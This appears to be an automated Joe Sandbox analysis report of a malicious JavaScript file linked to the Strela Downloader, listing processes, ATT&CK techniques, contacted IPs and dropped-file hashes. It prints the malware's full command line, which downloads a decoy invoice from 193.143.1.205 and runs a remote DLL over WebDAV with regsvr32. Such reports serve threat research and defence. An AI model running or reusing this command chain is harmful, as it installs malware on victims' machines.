Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2628895762659930884.js	3%	ReversingLabs
2628895762659930884.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/0oKd	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tem&	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ln	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/ln	net.exe, 00000006.00000002.1762393670.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1759077468.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3001275139.0000022449A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1760009256.0000022449CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1762337415.000001D88AFD8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1762393670.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1759077468.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1760009256.0000022449CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/0oKd	net.exe, 00000006.00000002.1762393670.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1759077468.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tem&	net.exe, 00000006.00000002.1762337415.000001D88AFD8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587939
Start date and time:	2025-01-10 19:35:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2628895762659930884.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.19.11.117, 2.19.11.122, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.22.50.144, 2.22.50.151, 2.16.168.103, 2.16.168.105, 2.16.168.125, 2.16.168.107, 20.12.23.50, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:36:21	API Interceptor	20x Sleep call for process: powershell.exe modified
13:36:25	API Interceptor	1x Sleep call for process: net.exe modified
13:36:25	API Interceptor	2x Sleep call for process: svchost.exe modified
13:36:37	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073579049117567
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrS:KooCEYhgYEL0In
MD5:	9D0B6B032149D0CF7BBD475DA1BD77BD
SHA1:	B4D4742E1554897EA841DE8333C216D1C46A2F09
SHA-256:	946C94F8D1A32A859E0893E22803D539EE73E83BC7457CB761CB0F600666CA91
SHA-512:	BDA6D14EF8709B4E9048F30B4E3DBFAA3AC234D98327A56F8DAF3FDCCEBCFC00968CB5DB4F08C53C624F7710217A29412119F8A4F6FD67DA704AD442D45EF9BF
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfa4a02f4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215799557204836
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	895EEFCA5924AED945E75C5826F9EA12
SHA1:	70C997635723C80EC182FE675034A81498951191
SHA-256:	403699540BDEB19E2DEC6D10F1E2DF794628A4876E9D03923E22D8F99855F602
SHA-512:	89357A471D004C761890F88D1BA9C4CC5FEC62042EEAB2354F2E2DC2D0EF0737722C08482773D26106D288B77BE55BA1A1E7BD848F76274006406439D51FB0D0
Malicious:	false
Preview:	.J..... .......A.......X\...;...{......................0.!..........{A..$...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................n.$...}A.....................$...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07693789839289306
Encrypted:	false
SSDEEP:	3:DomUYeLZkttCjn13a/KmhJAZollcVO/lnlZMxZNQl:fUzLaS53qKmhJJOewk
MD5:	FB94373A4A4EC2549919D172DD393F42
SHA1:	37492D39AB5031FA162533BECD82216C8FF25CF5
SHA-256:	90D7804886C56C47C7B74B3CCF340DD67F7A45003D55988CE13632CCBD3ED3FB
SHA-512:	B59FB6B429DB4D58F2A78407937DD82CA6882F7E95A32980A851C0A923E16498DFFA89CC6D33973576DE849A211137B2EDB8C005409BCDDBA1C59705C8AF950D
Malicious:	false
Preview:	.M......................................;...{...$...}.......{A..............{A......{A..........{A]....................$...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.19852523050037
Encrypted:	false
SSDEEP:	6:iO4BVOq2Pwkn2nKuAl9OmbnIFUtSTcZZmwstkwOwkn2nKuAl9OmbjLJ:7IVOvYfHAahFUtLZ/k5JfHAaSJ
MD5:	7A583A0F0223F21DBA215C39AF8FDD48
SHA1:	8A33E4A8C2A67E6A81BE7E33F555FBEEB24A87D3
SHA-256:	CAF4DE43A965493481F6EAFD0748F4A0786F06B09F88DEC59EB71A3CD981DB72
SHA-512:	0BEC5E1BA7DA3405DAAA36367948977BAE5377102F48416A61332469B9DFE0B2937ECC70210123E5050B5E90253FA92D0D0670C2A8744ED51AD62557B6A9C842
Malicious:	false
Preview:	2025/01/10-13:36:24.951 19e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:36:24.954 19e0 Recovering log #3.2025/01/10-13:36:24.955 19e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.19852523050037
Encrypted:	false
SSDEEP:	6:iO4BVOq2Pwkn2nKuAl9OmbnIFUtSTcZZmwstkwOwkn2nKuAl9OmbjLJ:7IVOvYfHAahFUtLZ/k5JfHAaSJ
MD5:	7A583A0F0223F21DBA215C39AF8FDD48
SHA1:	8A33E4A8C2A67E6A81BE7E33F555FBEEB24A87D3
SHA-256:	CAF4DE43A965493481F6EAFD0748F4A0786F06B09F88DEC59EB71A3CD981DB72
SHA-512:	0BEC5E1BA7DA3405DAAA36367948977BAE5377102F48416A61332469B9DFE0B2937ECC70210123E5050B5E90253FA92D0D0670C2A8744ED51AD62557B6A9C842
Malicious:	false
Preview:	2025/01/10-13:36:24.951 19e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:36:24.954 19e0 Recovering log #3.2025/01/10-13:36:24.955 19e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158632163460421
Encrypted:	false
SSDEEP:	6:iO4Wiaq2Pwkn2nKuAl9Ombzo2jMGIFUtSWuIZZmwsWmJkwOwkn2nKuAl9Ombzo23:7uavYfHAa8uFUtgIZ/eJ5JfHAa8RJ
MD5:	95FA81CB14555EC3CC20663AEC3807FB
SHA1:	93247C1EADA4EEB6AA032FEBAB79B8DCB57A28DD
SHA-256:	8EFB562EC90D51252103B21B48A0275FD2676689A1239999BB67EDF80608A1F1
SHA-512:	CBF07AEE9397DAB809076E235C73A0B2290B28D40295944900D17DE10B549D32B235F5B5215FBFB8CB6C9D59180317837BABD10BE5B4E50ABAD0C788A582C7FC
Malicious:	false
Preview:	2025/01/10-13:36:25.021 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:36:25.024 1c64 Recovering log #3.2025/01/10-13:36:25.025 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158632163460421
Encrypted:	false
SSDEEP:	6:iO4Wiaq2Pwkn2nKuAl9Ombzo2jMGIFUtSWuIZZmwsWmJkwOwkn2nKuAl9Ombzo23:7uavYfHAa8uFUtgIZ/eJ5JfHAa8RJ
MD5:	95FA81CB14555EC3CC20663AEC3807FB
SHA1:	93247C1EADA4EEB6AA032FEBAB79B8DCB57A28DD
SHA-256:	8EFB562EC90D51252103B21B48A0275FD2676689A1239999BB67EDF80608A1F1
SHA-512:	CBF07AEE9397DAB809076E235C73A0B2290B28D40295944900D17DE10B549D32B235F5B5215FBFB8CB6C9D59180317837BABD10BE5B4E50ABAD0C788A582C7FC
Malicious:	false
Preview:	2025/01/10-13:36:25.021 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:36:25.024 1c64 Recovering log #3.2025/01/10-13:36:25.025 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961041133735976
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvsBdOg2H4xcaq3QYiubInP7E4T3y:Y2sRdsNdMH4I3QYhbG7nby
MD5:	85B168B4A753E5D590A9BAC2A3E6518A
SHA1:	2682BB42FFF40F75E98A44A94F3B335651E4333D
SHA-256:	8EDB4308A95185AD91E76B81BB933DF2541AFDEDA60D36B4BF7F897D68FAAF78
SHA-512:	B71F5FD0427FF71FE86421D4AC5C0A04B856F8D9ED65C18B494C3863C68A6D33A043BF22DDDADD9433C9946D022AB99048BF666BBC1BD91D1AEFE20071990C7E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094197522303","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144418},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\de4a1a74-7b90-41fa-8493-aa7e43b4f28e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961041133735976
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvsBdOg2H4xcaq3QYiubInP7E4T3y:Y2sRdsNdMH4I3QYhbG7nby
MD5:	85B168B4A753E5D590A9BAC2A3E6518A
SHA1:	2682BB42FFF40F75E98A44A94F3B335651E4333D
SHA-256:	8EDB4308A95185AD91E76B81BB933DF2541AFDEDA60D36B4BF7F897D68FAAF78
SHA-512:	B71F5FD0427FF71FE86421D4AC5C0A04B856F8D9ED65C18B494C3863C68A6D33A043BF22DDDADD9433C9946D022AB99048BF666BBC1BD91D1AEFE20071990C7E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094197522303","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144418},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.26277020494148
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7+Ok:etJCV4FiN/jTN/2r8Mta02fEhgO73goW
MD5:	DE0FD4C6E238B06318A8BC3CC05CB030
SHA1:	BF79F9805806C13A8AC6A9B3DEFD79D91C2BB38A
SHA-256:	88A5A457F97359C650496F70BE9C1337E62BB47EB58C46867BA728168A817FE0
SHA-512:	8096E2D82D9A390AA062FF8EFB7A5827800E80A88B6E3701F7761B406C34274F6DB66C669438DD867ED834567B89562EB15812F6C14E60434D7D1A9D7CB404EA
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176382532665217
Encrypted:	false
SSDEEP:	6:iO4WSIq2Pwkn2nKuAl9OmbzNMxIFUtSWsFZZmwsWsFzkwOwkn2nKuAl9OmbzNMFd:7OIvYfHAa8jFUtyZ/8z5JfHAa84J
MD5:	FF760BD3B7305A2D36B6693F31DA1D59
SHA1:	81E7E28621F037646095CB63BC83EC70C74C2ED3
SHA-256:	60053B4CCD11FD59569F59327C622A6FF8E10AA5A9A85F0D91F23942AEF7162C
SHA-512:	87014A254FA1648B4149181A7D4D3A1181CF7E8AA9C4B215A172DB977906EC34CE310D960D6B1014D25E6B90A5DD7706CDD096B5F352186E04AD4C2E982392BE
Malicious:	false
Preview:	2025/01/10-13:36:25.254 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:36:25.256 1c64 Recovering log #3.2025/01/10-13:36:25.256 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176382532665217
Encrypted:	false
SSDEEP:	6:iO4WSIq2Pwkn2nKuAl9OmbzNMxIFUtSWsFZZmwsWsFzkwOwkn2nKuAl9OmbzNMFd:7OIvYfHAa8jFUtyZ/8z5JfHAa84J
MD5:	FF760BD3B7305A2D36B6693F31DA1D59
SHA1:	81E7E28621F037646095CB63BC83EC70C74C2ED3
SHA-256:	60053B4CCD11FD59569F59327C622A6FF8E10AA5A9A85F0D91F23942AEF7162C
SHA-512:	87014A254FA1648B4149181A7D4D3A1181CF7E8AA9C4B215A172DB977906EC34CE310D960D6B1014D25E6B90A5DD7706CDD096B5F352186E04AD4C2E982392BE
Malicious:	false
Preview:	2025/01/10-13:36:25.254 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:36:25.256 1c64 Recovering log #3.2025/01/10-13:36:25.256 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4450941282515135
Encrypted:	false
SSDEEP:	384:yezci5tciBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r7s3OazzU89UTTgUL
MD5:	3BFD08D7186EFD283AA04A35CE256EB3
SHA1:	754589E9F19FAE99B0C3E26CD15D3418C3D6CBB3
SHA-256:	FF374AF857EC8175BA0662878147CBF9BB7E38E6AA131EAA82BB167985B2D5A0
SHA-512:	CC1DDC55725B6C5E717631F6B43BB4CF30FCC2C15D362297E5BE1E04F3B3FD6F21F9BA57438F278F0EF1C2C084C196BA1C25C5D75B6FF1D40E9290AF1971425E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

